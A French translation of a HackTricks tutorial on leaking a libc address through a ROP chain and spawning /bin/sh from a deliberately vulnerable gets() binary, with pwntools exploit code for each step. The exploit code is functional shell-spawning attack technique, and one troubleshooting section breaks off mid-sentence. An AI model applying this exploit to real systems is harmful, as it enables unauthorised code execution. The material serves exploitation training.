hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address
2023-06-03 13:10:46 +00:00
..
README.md Translated to French 2023-06-03 13:10:46 +00:00
rop-leaking-libc-template.md Translated to French 2023-06-03 13:10:46 +00:00

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Résumé rapide

  1. Trouver l'offset de l'overflow
  2. Trouver les gadgets POP_RDI, PUTS_PLT et MAIN_PLT
  3. Utiliser les gadgets précédents pour leaker l'adresse mémoire de puts ou d'une autre fonction libc et trouver la version de libc (téléchargez-la)
  4. Avec la bibliothèque, calculer le ROP et l'exploiter

Autres tutoriels et binaires pour s'entraîner

Ce tutoriel va exploiter le code/binaire proposé dans ce tutoriel : https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Autres tutoriels utiles : https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

Code

Nom de fichier : vuln.c

#include <stdio.h>

int main() {
    char buffer[32];
    puts("Simple ROP.\n");
    gets(buffer);

    return 0;
}
gcc -o vuln vuln.c -fno-stack-protector  -no-pie

ROP - Modèle de fuite de LIBC

Je vais utiliser le code situé ici pour créer l'exploit.
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et donnez les données nécessaires au script:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

1- Trouver l'offset

Le modèle nécessite un offset avant de continuer avec l'exploit. Si aucun n'est fourni, il exécutera le code nécessaire pour le trouver (par défaut OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
    gdb.attach(p.pid, "c") #Attach and continue
    payload = cyclic(1000)
    print(r.clean())
    r.sendline(payload)
    #x/wx $rsp -- Search for bytes that crashed the application
    #cyclic_find(0x6161616b) # Find the offset of those bytes
    return

Exécutez python template.py une console GDB sera ouverte avec le programme qui a planté. À l'intérieur de cette console GDB, exécutez x/wx $rsp pour obtenir les octets qui allaient écraser le RIP. Enfin, obtenez le décalage en utilisant une console python :

from pwn import *
cyclic_find(0x6161616b)

Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.
OFFSET = "A" * 40

Une autre façon serait d'utiliser: pattern create 1000 -- exécuter jusqu'à ret -- pattern search $rsp de GEF.

2- Trouver des gadgets

Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler puts pour trouver la libc utilisée, et plus tard pour lancer l'exploit final.

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

Le PUTS_PLT est nécessaire pour appeler la fonction puts.
Le MAIN_PLT est nécessaire pour appeler la fonction principale à nouveau après une interaction pour exploiter le débordement à nouveau (des tours d'exploitation infinis). Il est utilisé à la fin de chaque ROP pour appeler le programme à nouveau.
Le POP_RDI est nécessaire pour passer un paramètre à la fonction appelée.

À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.

3- Trouver la bibliothèque LIBC

Maintenant, il est temps de trouver quelle version de la bibliothèque libc est utilisée. Pour ce faire, nous allons fuir l'adresse en mémoire de la fonction puts et ensuite nous allons chercher dans quelle version de bibliothèque la version de puts est à cette adresse.

def get_addr(func_name):
    FUNC_GOT = elf.got[func_name]
    log.info(func_name + " GOT @ " + hex(FUNC_GOT))
    # Create rop chain
    rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

    #Send our rop-chain payload
    #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
    print(p.clean()) # clean socket buffer (read all and print)
    p.sendline(rop1)

    #Parse leaked address
    recieved = p.recvline().strip()
    leak = u64(recieved.ljust(8, "\x00"))
    log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
    #If not libc yet, stop here
    if libc != "":
        libc.address = leak - libc.symbols[func_name] #Save libc base
        log.info("libc base @ %s" % hex(libc.address))
    
    return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
    print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
    p.interactive()

Pour ce faire, la ligne la plus importante du code exécuté est :

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

Cela enverra quelques octets jusqu'à ce que l'écrasement du RIP soit possible : OFFSET.
Ensuite, il définira l'adresse du gadget POP_RDI de sorte que l'adresse suivante (FUNC_GOT) sera enregistrée dans le registre RDI. Cela est dû au fait que nous voulons appeler puts en lui passant l'adresse de PUTS_GOT comme adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par PUTS_GOT.
Après cela, PUTS_PLT sera appelé (avec PUTS_GOT à l'intérieur de RDI) afin que puts lise le contenu à l'intérieur de PUTS_GOT (l'adresse de la fonction puts en mémoire) et l'affiche.
Enfin, la fonction principale est appelée à nouveau afin que nous puissions exploiter à nouveau le débordement.

De cette façon, nous avons trompé la fonction puts pour qu'elle affiche l'adresse en mémoire de la fonction puts (qui se trouve dans la bibliothèque libc). Maintenant que nous avons cette adresse, nous pouvons rechercher quelle version de libc est utilisée.

Comme nous exploitons un binaire local, il n'est pas nécessaire de déterminer quelle version de libc est utilisée (il suffit de trouver la bibliothèque dans /lib/x86_64-linux-gnu/libc.so.6).
Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :

3.1- Recherche de la version de libc (1)

Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : https://libc.blukat.me/
Cela vous permettra également de télécharger la version découverte de libc

3.2- Recherche de la version de libc (2)

Vous pouvez également faire :

  • $ git clone https://github.com/niklasb/libc-database.git
  • $ cd libc-database
  • $ ./get

Cela prendra du temps, soyez patient.
Pour que cela fonctionne, nous avons besoin de :

  • Nom du symbole libc : puts
  • Adresse libc divulguée : 0x7ff629878690

Nous pouvons déterminer quelle libc est la plus susceptible d'être utilisée.

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

Nous avons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
  -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
  -> Downloading package
  -> Extracting package
  -> Package saved to libs/libc6_2.23-0ubuntu10_amd64

Copiez la bibliothèque libc depuis libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so dans notre répertoire de travail.

3.3- Autres fonctions pour la fuite

puts
printf
__libc_start_main
read
gets

4- Trouver l'adresse de la bibliothèque libc et exploiter

À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, je vais utiliser simplement: /lib/x86_64-linux-gnu/libc.so.6

Ainsi, au début de template.py, changez la variable libc en: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque connue

En donnant le chemin de la bibliothèque libc, le reste de l'exploit sera automatiquement calculé.

À l'intérieur de la fonction get_addr, l'adresse de base de libc va être calculée:

if libc != "":
    libc.address = leak - libc.symbols[func_name] #Save libc base
    log.info("libc base @ %s" % hex(libc.address))

{% hint style="info" %} Notez que l'adresse finale de la base de libc doit se terminer par 00. Si ce n'est pas le cas, vous pourriez avoir divulgué une bibliothèque incorrecte. {% endhint %}

Ensuite, l'adresse de la fonction system et l'adresse de la chaîne "/bin/sh" vont être calculées à partir de l'adresse de base de libc et de la bibliothèque libc donnée.

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

Finalement, l'exploit d'exécution /bin/sh va être préparé et envoyé:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Expliquons ce dernier ROP.
Le dernier ROP (rop1) a fini par appeler à nouveau la fonction principale, donc nous pouvons exploiter à nouveau le débordement (c'est pourquoi l'OFFSET est à nouveau présent). Ensuite, nous voulons appeler POP_RDI en pointant vers l'adresse de "/bin/sh" (BINSH) et appeler la fonction system (SYSTEM) car l'adresse de "/bin/sh" sera transmise en tant que paramètre.
Enfin, l'adresse de la fonction exit est appelée pour que le processus se termine correctement et qu'aucune alerte ne soit générée.

De cette façon, l'exploit exécutera un shell _/bin/sh_.

4(2)- Utilisation de ONE_GADGET

Vous pouvez également utiliser ONE_GADGET pour obtenir un shell au lieu d'utiliser system et "/bin/sh". ONE_GADGET trouvera dans la bibliothèque libc un moyen d'obtenir un shell en utilisant juste une adresse ROP.
Cependant, il y a généralement des contraintes, les plus courantes et faciles à éviter sont comme [rsp+0x30] == NULL. Comme vous contrôlez les valeurs à l'intérieur du RSP, vous devez simplement envoyer des valeurs NULL supplémentaires pour éviter la contrainte.

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

FICHIER D'EXPLOITATION

Vous pouvez trouver un modèle pour exploiter cette vulnérabilité ici:

{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}

Problèmes courants

MAIN_PLT = elf.symbols['main'] introuvable

Si le symbole "main" n'existe pas, vous pouvez simplement chercher où se trouve le code principal :

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

et définir l'adresse manuellement:

MAIN_PLT = 0x401080

Puts introuvable

Si le binaire n'utilise pas Puts, vous devriez vérifier s'il utilise

sh: 1: %s%s%s%s%s%s%s%s: not found

Si vous trouvez cette erreur après avoir créé tous les exploits: sh: 1: %s%s%s%s%s%s%s%s: not found

Essayez de soustraire 64 octets à l'adresse de "/bin/sh":

BINSH = next(libc.search("/bin/sh")) - 64
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥